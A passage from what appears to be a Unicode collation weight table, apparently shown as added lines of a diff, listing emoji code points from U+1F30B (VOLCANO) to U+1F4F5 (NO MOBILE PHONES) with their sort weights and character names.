+1F30B ; [*12B4.0020.0002] # VOLCANO
+1F30C ; [*12B5.0020.0002] # MILKY WAY
+1F30D ; [*12B6.0020.0002] # EARTH GLOBE EUROPE-AFRICA
+1F30E ; [*12B7.0020.0002] # EARTH GLOBE AMERICAS
+1F30F ; [*12B8.0020.0002] # EARTH GLOBE ASIA-AUSTRALIA
+1F310 ; [*12B9.0020.0002] # GLOBE WITH MERIDIANS
+1F311 ; [*12BA.0020.0002] # NEW MOON SYMBOL
+1F312 ; [*12BB.0020.0002] # WAXING CRESCENT MOON SYMBOL
+1F313 ; [*12BC.0020.0002] # FIRST QUARTER MOON SYMBOL
+1F314 ; [*12BD.0020.0002] # WAXING GIBBOUS MOON SYMBOL
+1F315 ; [*12BE.0020.0002] # FULL MOON SYMBOL
+1F316 ; [*12BF.0020.0002] # WANING GIBBOUS MOON SYMBOL
+1F317 ; [*12C0.0020.0002] # LAST QUARTER MOON SYMBOL
+1F318 ; [*12C1.0020.0002] # WANING CRESCENT MOON SYMBOL
+1F319 ; [*12C2.0020.0002] # CRESCENT MOON
+1F31A ; [*12C3.0020.0002] # NEW MOON WITH FACE
+1F31B ; [*12C4.0020.0002] # FIRST QUARTER MOON WITH FACE
+1F31C ; [*12C5.0020.0002] # LAST QUARTER MOON WITH FACE
+1F31D ; [*12C6.0020.0002] # FULL MOON WITH FACE
+1F31E ; [*12C7.0020.0002] # SUN WITH FACE
+1F31F ; [*12C8.0020.0002] # GLOWING STAR
+1F320 ; [*12C9.0020.0002] # SHOOTING STAR
+1F321 ; [*12CA.0020.0002] # THERMOMETER
+1F322 ; [*12CB.0020.0002] # BLACK DROPLET
+1F323 ; [*12CC.0020.0002] # WHITE SUN
+1F324 ; [*12CD.0020.0002] # WHITE SUN WITH SMALL CLOUD
+1F325 ; [*12CE.0020.0002] # WHITE SUN BEHIND CLOUD
+1F326 ; [*12CF.0020.0002] # WHITE SUN BEHIND CLOUD WITH RAIN
+1F327 ; [*12D0.0020.0002] # CLOUD WITH RAIN
+1F328 ; [*12D1.0020.0002] # CLOUD WITH SNOW
+1F329 ; [*12D2.0020.0002] # CLOUD WITH LIGHTNING
+1F32A ; [*12D3.0020.0002] # CLOUD WITH TORNADO
+1F32B ; [*12D4.0020.0002] # FOG
+1F32C ; [*12D5.0020.0002] # WIND BLOWING FACE
+1F32D ; [*12D6.0020.0002] # HOT DOG
+1F32E ; [*12D7.0020.0002] # TACO
+1F32F ; [*12D8.0020.0002] # BURRITO
+1F330 ; [*12D9.0020.0002] # CHESTNUT
+1F331 ; [*12DA.0020.0002] # SEEDLING
+1F332 ; [*12DB.0020.0002] # EVERGREEN TREE
+1F333 ; [*12DC.0020.0002] # DECIDUOUS TREE
+1F334 ; [*12DD.0020.0002] # PALM TREE
+1F335 ; [*12DE.0020.0002] # CACTUS
+1F336 ; [*12DF.0020.0002] # HOT PEPPER
+1F337 ; [*12E0.0020.0002] # TULIP
+1F338 ; [*12E1.0020.0002] # CHERRY BLOSSOM
+1F339 ; [*12E2.0020.0002] # ROSE
+1F33A ; [*12E3.0020.0002] # HIBISCUS
+1F33B ; [*12E4.0020.0002] # SUNFLOWER
+1F33C ; [*12E5.0020.0002] # BLOSSOM
+1F33D ; [*12E6.0020.0002] # EAR OF MAIZE
+1F33E ; [*12E7.0020.0002] # EAR OF RICE
+1F33F ; [*12E8.0020.0002] # HERB
+1F340 ; [*12E9.0020.0002] # FOUR LEAF CLOVER
+1F341 ; [*12EA.0020.0002] # MAPLE LEAF
+1F342 ; [*12EB.0020.0002] # FALLEN LEAF
+1F343 ; [*12EC.0020.0002] # LEAF FLUTTERING IN WIND
+1F344 ; [*12ED.0020.0002] # MUSHROOM
+1F345 ; [*12EE.0020.0002] # TOMATO
+1F346 ; [*12EF.0020.0002] # AUBERGINE
+1F347 ; [*12F0.0020.0002] # GRAPES
+1F348 ; [*12F1.0020.0002] # MELON
+1F349 ; [*12F2.0020.0002] # WATERMELON
+1F34A ; [*12F3.0020.0002] # TANGERINE
+1F34B ; [*12F4.0020.0002] # LEMON
+1F34C ; [*12F5.0020.0002] # BANANA
+1F34D ; [*12F6.0020.0002] # PINEAPPLE
+1F34E ; [*12F7.0020.0002] # RED APPLE
+1F34F ; [*12F8.0020.0002] # GREEN APPLE
+1F350 ; [*12F9.0020.0002] # PEAR
+1F351 ; [*12FA.0020.0002] # PEACH
+1F352 ; [*12FB.0020.0002] # CHERRIES
+1F353 ; [*12FC.0020.0002] # STRAWBERRY
+1F354 ; [*12FD.0020.0002] # HAMBURGER
+1F355 ; [*12FE.0020.0002] # SLICE OF PIZZA
+1F356 ; [*12FF.0020.0002] # MEAT ON BONE
+1F357 ; [*1300.0020.0002] # POULTRY LEG
+1F358 ; [*1301.0020.0002] # RICE CRACKER
+1F359 ; [*1302.0020.0002] # RICE BALL
+1F35A ; [*1303.0020.0002] # COOKED RICE
+1F35B ; [*1304.0020.0002] # CURRY AND RICE
+1F35C ; [*1305.0020.0002] # STEAMING BOWL
+1F35D ; [*1306.0020.0002] # SPAGHETTI
+1F35E ; [*1307.0020.0002] # BREAD
+1F35F ; [*1308.0020.0002] # FRENCH FRIES
+1F360 ; [*1309.0020.0002] # ROASTED SWEET POTATO
+1F361 ; [*130A.0020.0002] # DANGO
+1F362 ; [*130B.0020.0002] # ODEN
+1F363 ; [*130C.0020.0002] # SUSHI
+1F364 ; [*130D.0020.0002] # FRIED SHRIMP
+1F365 ; [*130E.0020.0002] # FISH CAKE WITH SWIRL DESIGN
+1F366 ; [*130F.0020.0002] # SOFT ICE CREAM
+1F367 ; [*1310.0020.0002] # SHAVED ICE
+1F368 ; [*1311.0020.0002] # ICE CREAM
+1F369 ; [*1312.0020.0002] # DOUGHNUT
+1F36A ; [*1313.0020.0002] # COOKIE
+1F36B ; [*1314.0020.0002] # CHOCOLATE BAR
+1F36C ; [*1315.0020.0002] # CANDY
+1F36D ; [*1316.0020.0002] # LOLLIPOP
+1F36E ; [*1317.0020.0002] # CUSTARD
+1F36F ; [*1318.0020.0002] # HONEY POT
+1F370 ; [*1319.0020.0002] # SHORTCAKE
+1F371 ; [*131A.0020.0002] # BENTO BOX
+1F372 ; [*131B.0020.0002] # POT OF FOOD
+1F373 ; [*131C.0020.0002] # COOKING
+1F374 ; [*131D.0020.0002] # FORK AND KNIFE
+1F375 ; [*131E.0020.0002] # TEACUP WITHOUT HANDLE
+1F376 ; [*131F.0020.0002] # SAKE BOTTLE AND CUP
+1F377 ; [*1320.0020.0002] # WINE GLASS
+1F378 ; [*1321.0020.0002] # COCKTAIL GLASS
+1F379 ; [*1322.0020.0002] # TROPICAL DRINK
+1F37A ; [*1323.0020.0002] # BEER MUG
+1F37B ; [*1324.0020.0002] # CLINKING BEER MUGS
+1F37C ; [*1325.0020.0002] # BABY BOTTLE
+1F37D ; [*1326.0020.0002] # FORK AND KNIFE WITH PLATE
+1F37E ; [*1327.0020.0002] # BOTTLE WITH POPPING CORK
+1F37F ; [*1328.0020.0002] # POPCORN
+1F380 ; [*1329.0020.0002] # RIBBON
+1F381 ; [*132A.0020.0002] # WRAPPED PRESENT
+1F382 ; [*132B.0020.0002] # BIRTHDAY CAKE
+1F383 ; [*132C.0020.0002] # JACK-O-LANTERN
+1F384 ; [*132D.0020.0002] # CHRISTMAS TREE
+1F385 ; [*132E.0020.0002] # FATHER CHRISTMAS
+1F386 ; [*132F.0020.0002] # FIREWORKS
+1F387 ; [*1330.0020.0002] # FIREWORK SPARKLER
+1F388 ; [*1331.0020.0002] # BALLOON
+1F389 ; [*1332.0020.0002] # PARTY POPPER
+1F38A ; [*1333.0020.0002] # CONFETTI BALL
+1F38B ; [*1334.0020.0002] # TANABATA TREE
+1F38C ; [*1335.0020.0002] # CROSSED FLAGS
+1F38D ; [*1336.0020.0002] # PINE DECORATION
+1F38E ; [*1337.0020.0002] # JAPANESE DOLLS
+1F38F ; [*1338.0020.0002] # CARP STREAMER
+1F390 ; [*1339.0020.0002] # WIND CHIME
+1F391 ; [*133A.0020.0002] # MOON VIEWING CEREMONY
+1F392 ; [*133B.0020.0002] # SCHOOL SATCHEL
+1F393 ; [*133C.0020.0002] # GRADUATION CAP
+1F394 ; [*133D.0020.0002] # HEART WITH TIP ON THE LEFT
+1F395 ; [*133E.0020.0002] # BOUQUET OF FLOWERS
+1F396 ; [*133F.0020.0002] # MILITARY MEDAL
+1F397 ; [*1340.0020.0002] # REMINDER RIBBON
+1F398 ; [*1341.0020.0002] # MUSICAL KEYBOARD WITH JACKS
+1F399 ; [*1342.0020.0002] # STUDIO MICROPHONE
+1F39A ; [*1343.0020.0002] # LEVEL SLIDER
+1F39B ; [*1344.0020.0002] # CONTROL KNOBS
+1F39C ; [*1345.0020.0002] # BEAMED ASCENDING MUSICAL NOTES
+1F39D ; [*1346.0020.0002] # BEAMED DESCENDING MUSICAL NOTES
+1F39E ; [*1347.0020.0002] # FILM FRAMES
+1F39F ; [*1348.0020.0002] # ADMISSION TICKETS
+1F3A0 ; [*1349.0020.0002] # CAROUSEL HORSE
+1F3A1 ; [*134A.0020.0002] # FERRIS WHEEL
+1F3A2 ; [*134B.0020.0002] # ROLLER COASTER
+1F3A3 ; [*134C.0020.0002] # FISHING POLE AND FISH
+1F3A4 ; [*134D.0020.0002] # MICROPHONE
+1F3A5 ; [*134E.0020.0002] # MOVIE CAMERA
+1F3A6 ; [*134F.0020.0002] # CINEMA
+1F3A7 ; [*1350.0020.0002] # HEADPHONE
+1F3A8 ; [*1351.0020.0002] # ARTIST PALETTE
+1F3A9 ; [*1352.0020.0002] # TOP HAT
+1F3AA ; [*1353.0020.0002] # CIRCUS TENT
+1F3AB ; [*1354.0020.0002] # TICKET
+1F3AC ; [*1355.0020.0002] # CLAPPER BOARD
+1F3AD ; [*1356.0020.0002] # PERFORMING ARTS
+1F3AE ; [*1357.0020.0002] # VIDEO GAME
+1F3AF ; [*1358.0020.0002] # DIRECT HIT
+1F3B0 ; [*1359.0020.0002] # SLOT MACHINE
+1F3B1 ; [*135A.0020.0002] # BILLIARDS
+1F3B2 ; [*135B.0020.0002] # GAME DIE
+1F3B3 ; [*135C.0020.0002] # BOWLING
+1F3B4 ; [*135D.0020.0002] # FLOWER PLAYING CARDS
+1F3B5 ; [*135E.0020.0002] # MUSICAL NOTE
+1F3B6 ; [*135F.0020.0002] # MULTIPLE MUSICAL NOTES
+1F3B7 ; [*1360.0020.0002] # SAXOPHONE
+1F3B8 ; [*1361.0020.0002] # GUITAR
+1F3B9 ; [*1362.0020.0002] # MUSICAL KEYBOARD
+1F3BA ; [*1363.0020.0002] # TRUMPET
+1F3BB ; [*1364.0020.0002] # VIOLIN
+1F3BC ; [*1365.0020.0002] # MUSICAL SCORE
+1F3BD ; [*1366.0020.0002] # RUNNING SHIRT WITH SASH
+1F3BE ; [*1367.0020.0002] # TENNIS RACQUET AND BALL
+1F3BF ; [*1368.0020.0002] # SKI AND SKI BOOT
+1F3C0 ; [*1369.0020.0002] # BASKETBALL AND HOOP
+1F3C1 ; [*136A.0020.0002] # CHEQUERED FLAG
+1F3C2 ; [*136B.0020.0002] # SNOWBOARDER
+1F3C3 ; [*136C.0020.0002] # RUNNER
+1F3C4 ; [*136D.0020.0002] # SURFER
+1F3C5 ; [*136E.0020.0002] # SPORTS MEDAL
+1F3C6 ; [*136F.0020.0002] # TROPHY
+1F3C7 ; [*1370.0020.0002] # HORSE RACING
+1F3C8 ; [*1371.0020.0002] # AMERICAN FOOTBALL
+1F3C9 ; [*1372.0020.0002] # RUGBY FOOTBALL
+1F3CA ; [*1373.0020.0002] # SWIMMER
+1F3CB ; [*1374.0020.0002] # WEIGHT LIFTER
+1F3CC ; [*1375.0020.0002] # GOLFER
+1F3CD ; [*1376.0020.0002] # RACING MOTORCYCLE
+1F3CE ; [*1377.0020.0002] # RACING CAR
+1F3CF ; [*1378.0020.0002] # CRICKET BAT AND BALL
+1F3D0 ; [*1379.0020.0002] # VOLLEYBALL
+1F3D1 ; [*137A.0020.0002] # FIELD HOCKEY STICK AND BALL
+1F3D2 ; [*137B.0020.0002] # ICE HOCKEY STICK AND PUCK
+1F3D3 ; [*137C.0020.0002] # TABLE TENNIS PADDLE AND BALL
+1F3D4 ; [*137D.0020.0002] # SNOW CAPPED MOUNTAIN
+1F3D5 ; [*137E.0020.0002] # CAMPING
+1F3D6 ; [*137F.0020.0002] # BEACH WITH UMBRELLA
+1F3D7 ; [*1380.0020.0002] # BUILDING CONSTRUCTION
+1F3D8 ; [*1381.0020.0002] # HOUSE BUILDINGS
+1F3D9 ; [*1382.0020.0002] # CITYSCAPE
+1F3DA ; [*1383.0020.0002] # DERELICT HOUSE BUILDING
+1F3DB ; [*1384.0020.0002] # CLASSICAL BUILDING
+1F3DC ; [*1385.0020.0002] # DESERT
+1F3DD ; [*1386.0020.0002] # DESERT ISLAND
+1F3DE ; [*1387.0020.0002] # NATIONAL PARK
+1F3DF ; [*1388.0020.0002] # STADIUM
+1F3E0 ; [*1389.0020.0002] # HOUSE BUILDING
+1F3E1 ; [*138A.0020.0002] # HOUSE WITH GARDEN
+1F3E2 ; [*138B.0020.0002] # OFFICE BUILDING
+1F3E3 ; [*138C.0020.0002] # JAPANESE POST OFFICE
+1F3E4 ; [*138D.0020.0002] # EUROPEAN POST OFFICE
+1F3E5 ; [*138E.0020.0002] # HOSPITAL
+1F3E6 ; [*138F.0020.0002] # BANK
+1F3E7 ; [*1390.0020.0002] # AUTOMATED TELLER MACHINE
+1F3E8 ; [*1391.0020.0002] # HOTEL
+1F3E9 ; [*1392.0020.0002] # LOVE HOTEL
+1F3EA ; [*1393.0020.0002] # CONVENIENCE STORE
+1F3EB ; [*1394.0020.0002] # SCHOOL
+1F3EC ; [*1395.0020.0002] # DEPARTMENT STORE
+1F3ED ; [*1396.0020.0002] # FACTORY
+1F3EE ; [*1397.0020.0002] # IZAKAYA LANTERN
+1F3EF ; [*1398.0020.0002] # JAPANESE CASTLE
+1F3F0 ; [*1399.0020.0002] # EUROPEAN CASTLE
+1F3F1 ; [*139A.0020.0002] # WHITE PENNANT
+1F3F2 ; [*139B.0020.0002] # BLACK PENNANT
+1F3F3 ; [*139C.0020.0002] # WAVING WHITE FLAG
+1F3F4 ; [*139D.0020.0002] # WAVING BLACK FLAG
+1F3F5 ; [*139E.0020.0002] # ROSETTE
+1F3F6 ; [*139F.0020.0002] # BLACK ROSETTE
+1F3F7 ; [*13A0.0020.0002] # LABEL
+1F3F8 ; [*13A1.0020.0002] # BADMINTON RACQUET AND SHUTTLECOCK
+1F3F9 ; [*13A2.0020.0002] # BOW AND ARROW
+1F3FA ; [*13A3.0020.0002] # AMPHORA
+1F3FB ; [*13A4.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-1-2
+1F3FC ; [*13A5.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-3
+1F3FD ; [*13A6.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-4
+1F3FE ; [*13A7.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-5
+1F3FF ; [*13A8.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-6
+1F400 ; [*13A9.0020.0002] # RAT
+1F401 ; [*13AA.0020.0002] # MOUSE
+1F402 ; [*13AB.0020.0002] # OX
+1F403 ; [*13AC.0020.0002] # WATER BUFFALO
+1F404 ; [*13AD.0020.0002] # COW
+1F405 ; [*13AE.0020.0002] # TIGER
+1F406 ; [*13AF.0020.0002] # LEOPARD
+1F407 ; [*13B0.0020.0002] # RABBIT
+1F408 ; [*13B1.0020.0002] # CAT
+1F409 ; [*13B2.0020.0002] # DRAGON
+1F40A ; [*13B3.0020.0002] # CROCODILE
+1F40B ; [*13B4.0020.0002] # WHALE
+1F40C ; [*13B5.0020.0002] # SNAIL
+1F40D ; [*13B6.0020.0002] # SNAKE
+1F40E ; [*13B7.0020.0002] # HORSE
+1F40F ; [*13B8.0020.0002] # RAM
+1F410 ; [*13B9.0020.0002] # GOAT
+1F411 ; [*13BA.0020.0002] # SHEEP
+1F412 ; [*13BB.0020.0002] # MONKEY
+1F413 ; [*13BC.0020.0002] # ROOSTER
+1F414 ; [*13BD.0020.0002] # CHICKEN
+1F415 ; [*13BE.0020.0002] # DOG
+1F416 ; [*13BF.0020.0002] # PIG
+1F417 ; [*13C0.0020.0002] # BOAR
+1F418 ; [*13C1.0020.0002] # ELEPHANT
+1F419 ; [*13C2.0020.0002] # OCTOPUS
+1F41A ; [*13C3.0020.0002] # SPIRAL SHELL
+1F41B ; [*13C4.0020.0002] # BUG
+1F41C ; [*13C5.0020.0002] # ANT
+1F41D ; [*13C6.0020.0002] # HONEYBEE
+1F41E ; [*13C7.0020.0002] # LADY BEETLE
+1F41F ; [*13C8.0020.0002] # FISH
+1F420 ; [*13C9.0020.0002] # TROPICAL FISH
+1F421 ; [*13CA.0020.0002] # BLOWFISH
+1F422 ; [*13CB.0020.0002] # TURTLE
+1F423 ; [*13CC.0020.0002] # HATCHING CHICK
+1F424 ; [*13CD.0020.0002] # BABY CHICK
+1F425 ; [*13CE.0020.0002] # FRONT-FACING BABY CHICK
+1F426 ; [*13CF.0020.0002] # BIRD
+1F427 ; [*13D0.0020.0002] # PENGUIN
+1F428 ; [*13D1.0020.0002] # KOALA
+1F429 ; [*13D2.0020.0002] # POODLE
+1F42A ; [*13D3.0020.0002] # DROMEDARY CAMEL
+1F42B ; [*13D4.0020.0002] # BACTRIAN CAMEL
+1F42C ; [*13D5.0020.0002] # DOLPHIN
+1F42D ; [*13D6.0020.0002] # MOUSE FACE
+1F42E ; [*13D7.0020.0002] # COW FACE
+1F42F ; [*13D8.0020.0002] # TIGER FACE
+1F430 ; [*13D9.0020.0002] # RABBIT FACE
+1F431 ; [*13DA.0020.0002] # CAT FACE
+1F432 ; [*13DB.0020.0002] # DRAGON FACE
+1F433 ; [*13DC.0020.0002] # SPOUTING WHALE
+1F434 ; [*13DD.0020.0002] # HORSE FACE
+1F435 ; [*13DE.0020.0002] # MONKEY FACE
+1F436 ; [*13DF.0020.0002] # DOG FACE
+1F437 ; [*13E0.0020.0002] # PIG FACE
+1F438 ; [*13E1.0020.0002] # FROG FACE
+1F439 ; [*13E2.0020.0002] # HAMSTER FACE
+1F43A ; [*13E3.0020.0002] # WOLF FACE
+1F43B ; [*13E4.0020.0002] # BEAR FACE
+1F43C ; [*13E5.0020.0002] # PANDA FACE
+1F43D ; [*13E6.0020.0002] # PIG NOSE
+1F43E ; [*13E7.0020.0002] # PAW PRINTS
+1F43F ; [*13E8.0020.0002] # CHIPMUNK
+1F440 ; [*13E9.0020.0002] # EYES
+1F441 ; [*13EA.0020.0002] # EYE
+1F442 ; [*13EB.0020.0002] # EAR
+1F443 ; [*13EC.0020.0002] # NOSE
+1F444 ; [*13ED.0020.0002] # MOUTH
+1F445 ; [*13EE.0020.0002] # TONGUE
+1F446 ; [*13EF.0020.0002] # WHITE UP POINTING BACKHAND INDEX
+1F447 ; [*13F0.0020.0002] # WHITE DOWN POINTING BACKHAND INDEX
+1F448 ; [*13F1.0020.0002] # WHITE LEFT POINTING BACKHAND INDEX
+1F449 ; [*13F2.0020.0002] # WHITE RIGHT POINTING BACKHAND INDEX
+1F44A ; [*13F3.0020.0002] # FISTED HAND SIGN
+1F44B ; [*13F4.0020.0002] # WAVING HAND SIGN
+1F44C ; [*13F5.0020.0002] # OK HAND SIGN
+1F44D ; [*13F6.0020.0002] # THUMBS UP SIGN
+1F44E ; [*13F7.0020.0002] # THUMBS DOWN SIGN
+1F44F ; [*13F8.0020.0002] # CLAPPING HANDS SIGN
+1F450 ; [*13F9.0020.0002] # OPEN HANDS SIGN
+1F451 ; [*13FA.0020.0002] # CROWN
+1F452 ; [*13FB.0020.0002] # WOMANS HAT
+1F453 ; [*13FC.0020.0002] # EYEGLASSES
+1F454 ; [*13FD.0020.0002] # NECKTIE
+1F455 ; [*13FE.0020.0002] # T-SHIRT
+1F456 ; [*13FF.0020.0002] # JEANS
+1F457 ; [*1400.0020.0002] # DRESS
+1F458 ; [*1401.0020.0002] # KIMONO
+1F459 ; [*1402.0020.0002] # BIKINI
+1F45A ; [*1403.0020.0002] # WOMANS CLOTHES
+1F45B ; [*1404.0020.0002] # PURSE
+1F45C ; [*1405.0020.0002] # HANDBAG
+1F45D ; [*1406.0020.0002] # POUCH
+1F45E ; [*1407.0020.0002] # MANS SHOE
+1F45F ; [*1408.0020.0002] # ATHLETIC SHOE
+1F460 ; [*1409.0020.0002] # HIGH-HEELED SHOE
+1F461 ; [*140A.0020.0002] # WOMANS SANDAL
+1F462 ; [*140B.0020.0002] # WOMANS BOOTS
+1F463 ; [*140C.0020.0002] # FOOTPRINTS
+1F464 ; [*140D.0020.0002] # BUST IN SILHOUETTE
+1F465 ; [*140E.0020.0002] # BUSTS IN SILHOUETTE
+1F466 ; [*140F.0020.0002] # BOY
+1F467 ; [*1410.0020.0002] # GIRL
+1F468 ; [*1411.0020.0002] # MAN
+1F469 ; [*1412.0020.0002] # WOMAN
+1F46A ; [*1413.0020.0002] # FAMILY
+1F46B ; [*1414.0020.0002] # MAN AND WOMAN HOLDING HANDS
+1F46C ; [*1415.0020.0002] # TWO MEN HOLDING HANDS
+1F46D ; [*1416.0020.0002] # TWO WOMEN HOLDING HANDS
+1F46E ; [*1417.0020.0002] # POLICE OFFICER
+1F46F ; [*1418.0020.0002] # WOMAN WITH BUNNY EARS
+1F470 ; [*1419.0020.0002] # BRIDE WITH VEIL
+1F471 ; [*141A.0020.0002] # PERSON WITH BLOND HAIR
+1F472 ; [*141B.0020.0002] # MAN WITH GUA PI MAO
+1F473 ; [*141C.0020.0002] # MAN WITH TURBAN
+1F474 ; [*141D.0020.0002] # OLDER MAN
+1F475 ; [*141E.0020.0002] # OLDER WOMAN
+1F476 ; [*141F.0020.0002] # BABY
+1F477 ; [*1420.0020.0002] # CONSTRUCTION WORKER
+1F478 ; [*1421.0020.0002] # PRINCESS
+1F479 ; [*1422.0020.0002] # JAPANESE OGRE
+1F47A ; [*1423.0020.0002] # JAPANESE GOBLIN
+1F47B ; [*1424.0020.0002] # GHOST
+1F47C ; [*1425.0020.0002] # BABY ANGEL
+1F47D ; [*1426.0020.0002] # EXTRATERRESTRIAL ALIEN
+1F47E ; [*1427.0020.0002] # ALIEN MONSTER
+1F47F ; [*1428.0020.0002] # IMP
+1F480 ; [*1429.0020.0002] # SKULL
+1F481 ; [*142A.0020.0002] # INFORMATION DESK PERSON
+1F482 ; [*142B.0020.0002] # GUARDSMAN
+1F483 ; [*142C.0020.0002] # DANCER
+1F484 ; [*142D.0020.0002] # LIPSTICK
+1F485 ; [*142E.0020.0002] # NAIL POLISH
+1F486 ; [*142F.0020.0002] # FACE MASSAGE
+1F487 ; [*1430.0020.0002] # HAIRCUT
+1F488 ; [*1431.0020.0002] # BARBER POLE
+1F489 ; [*1432.0020.0002] # SYRINGE
+1F48A ; [*1433.0020.0002] # PILL
+1F48B ; [*1434.0020.0002] # KISS MARK
+1F48C ; [*1435.0020.0002] # LOVE LETTER
+1F48D ; [*1436.0020.0002] # RING
+1F48E ; [*1437.0020.0002] # GEM STONE
+1F48F ; [*1438.0020.0002] # KISS
+1F490 ; [*1439.0020.0002] # BOUQUET
+1F491 ; [*143A.0020.0002] # COUPLE WITH HEART
+1F492 ; [*143B.0020.0002] # WEDDING
+1F493 ; [*143C.0020.0002] # BEATING HEART
+1F494 ; [*143D.0020.0002] # BROKEN HEART
+1F495 ; [*143E.0020.0002] # TWO HEARTS
+1F496 ; [*143F.0020.0002] # SPARKLING HEART
+1F497 ; [*1440.0020.0002] # GROWING HEART
+1F498 ; [*1441.0020.0002] # HEART WITH ARROW
+1F499 ; [*1442.0020.0002] # BLUE HEART
+1F49A ; [*1443.0020.0002] # GREEN HEART
+1F49B ; [*1444.0020.0002] # YELLOW HEART
+1F49C ; [*1445.0020.0002] # PURPLE HEART
+1F49D ; [*1446.0020.0002] # HEART WITH RIBBON
+1F49E ; [*1447.0020.0002] # REVOLVING HEARTS
+1F49F ; [*1448.0020.0002] # HEART DECORATION
+1F4A0 ; [*1449.0020.0002] # DIAMOND SHAPE WITH A DOT INSIDE
+1F4A1 ; [*144A.0020.0002] # ELECTRIC LIGHT BULB
+1F4A2 ; [*144B.0020.0002] # ANGER SYMBOL
+1F4A3 ; [*144C.0020.0002] # BOMB
+1F4A4 ; [*144D.0020.0002] # SLEEPING SYMBOL
+1F4A5 ; [*144E.0020.0002] # COLLISION SYMBOL
+1F4A6 ; [*144F.0020.0002] # SPLASHING SWEAT SYMBOL
+1F4A7 ; [*1450.0020.0002] # DROPLET
+1F4A8 ; [*1451.0020.0002] # DASH SYMBOL
+1F4A9 ; [*1452.0020.0002] # PILE OF POO
+1F4AA ; [*1453.0020.0002] # FLEXED BICEPS
+1F4AB ; [*1454.0020.0002] # DIZZY SYMBOL
+1F4AC ; [*1455.0020.0002] # SPEECH BALLOON
+1F4AD ; [*1456.0020.0002] # THOUGHT BALLOON
+1F4AE ; [*1457.0020.0002] # WHITE FLOWER
+1F4AF ; [*1458.0020.0002] # HUNDRED POINTS SYMBOL
+1F4B0 ; [*1459.0020.0002] # MONEY BAG
+1F4B1 ; [*145A.0020.0002] # CURRENCY EXCHANGE
+1F4B2 ; [*145B.0020.0002] # HEAVY DOLLAR SIGN
+1F4B3 ; [*145C.0020.0002] # CREDIT CARD
+1F4B4 ; [*145D.0020.0002] # BANKNOTE WITH YEN SIGN
+1F4B5 ; [*145E.0020.0002] # BANKNOTE WITH DOLLAR SIGN
+1F4B6 ; [*145F.0020.0002] # BANKNOTE WITH EURO SIGN
+1F4B7 ; [*1460.0020.0002] # BANKNOTE WITH POUND SIGN
+1F4B8 ; [*1461.0020.0002] # MONEY WITH WINGS
+1F4B9 ; [*1462.0020.0002] # CHART WITH UPWARDS TREND AND YEN SIGN
+1F4BA ; [*1463.0020.0002] # SEAT
+1F4BB ; [*1464.0020.0002] # PERSONAL COMPUTER
+1F4BC ; [*1465.0020.0002] # BRIEFCASE
+1F4BD ; [*1466.0020.0002] # MINIDISC
+1F4BE ; [*1467.0020.0002] # FLOPPY DISK
+1F4BF ; [*1468.0020.0002] # OPTICAL DISC
+1F4C0 ; [*1469.0020.0002] # DVD
+1F4C1 ; [*146A.0020.0002] # FILE FOLDER
+1F4C2 ; [*146B.0020.0002] # OPEN FILE FOLDER
+1F4C3 ; [*146C.0020.0002] # PAGE WITH CURL
+1F4C4 ; [*146D.0020.0002] # PAGE FACING UP
+1F4C5 ; [*146E.0020.0002] # CALENDAR
+1F4C6 ; [*146F.0020.0002] # TEAR-OFF CALENDAR
+1F4C7 ; [*1470.0020.0002] # CARD INDEX
+1F4C8 ; [*1471.0020.0002] # CHART WITH UPWARDS TREND
+1F4C9 ; [*1472.0020.0002] # CHART WITH DOWNWARDS TREND
+1F4CA ; [*1473.0020.0002] # BAR CHART
+1F4CB ; [*1474.0020.0002] # CLIPBOARD
+1F4CC ; [*1475.0020.0002] # PUSHPIN
+1F4CD ; [*1476.0020.0002] # ROUND PUSHPIN
+1F4CE ; [*1477.0020.0002] # PAPERCLIP
+1F4CF ; [*1478.0020.0002] # STRAIGHT RULER
+1F4D0 ; [*1479.0020.0002] # TRIANGULAR RULER
+1F4D1 ; [*147A.0020.0002] # BOOKMARK TABS
+1F4D2 ; [*147B.0020.0002] # LEDGER
+1F4D3 ; [*147C.0020.0002] # NOTEBOOK
+1F4D4 ; [*147D.0020.0002] # NOTEBOOK WITH DECORATIVE COVER
+1F4D5 ; [*147E.0020.0002] # CLOSED BOOK
+1F4D6 ; [*147F.0020.0002] # OPEN BOOK
+1F4D7 ; [*1480.0020.0002] # GREEN BOOK
+1F4D8 ; [*1481.0020.0002] # BLUE BOOK
+1F4D9 ; [*1482.0020.0002] # ORANGE BOOK
+1F4DA ; [*1483.0020.0002] # BOOKS
+1F4DB ; [*1484.0020.0002] # NAME BADGE
+1F4DC ; [*1485.0020.0002] # SCROLL
+1F4DD ; [*1486.0020.0002] # MEMO
+1F4DE ; [*1487.0020.0002] # TELEPHONE RECEIVER
+1F4DF ; [*1488.0020.0002] # PAGER
+1F4E0 ; [*1489.0020.0002] # FAX MACHINE
+1F4E1 ; [*148A.0020.0002] # SATELLITE ANTENNA
+1F4E2 ; [*148B.0020.0002] # PUBLIC ADDRESS LOUDSPEAKER
+1F4E3 ; [*148C.0020.0002] # CHEERING MEGAPHONE
+1F4E4 ; [*148D.0020.0002] # OUTBOX TRAY
+1F4E5 ; [*148E.0020.0002] # INBOX TRAY
+1F4E6 ; [*148F.0020.0002] # PACKAGE
+1F4E7 ; [*1490.0020.0002] # E-MAIL SYMBOL
+1F4E8 ; [*1491.0020.0002] # INCOMING ENVELOPE
+1F4E9 ; [*1492.0020.0002] # ENVELOPE WITH DOWNWARDS ARROW ABOVE
+1F4EA ; [*1493.0020.0002] # CLOSED MAILBOX WITH LOWERED FLAG
+1F4EB ; [*1494.0020.0002] # CLOSED MAILBOX WITH RAISED FLAG
+1F4EC ; [*1495.0020.0002] # OPEN MAILBOX WITH RAISED FLAG
+1F4ED ; [*1496.0020.0002] # OPEN MAILBOX WITH LOWERED FLAG
+1F4EE ; [*1497.0020.0002] # POSTBOX
+1F4EF ; [*1498.0020.0002] # POSTAL HORN
+1F4F0 ; [*1499.0020.0002] # NEWSPAPER
+1F4F1 ; [*149A.0020.0002] # MOBILE PHONE
+1F4F2 ; [*149B.0020.0002] # MOBILE PHONE WITH RIGHTWARDS ARROW AT LEFT
+1F4F3 ; [*149C.0020.0002] # VIBRATION MODE
+1F4F4 ; [*149D.0020.0002] # MOBILE PHONE OFF
+1F4F5 ; [*149E.0020.0002] # NO MOBILE PHONES
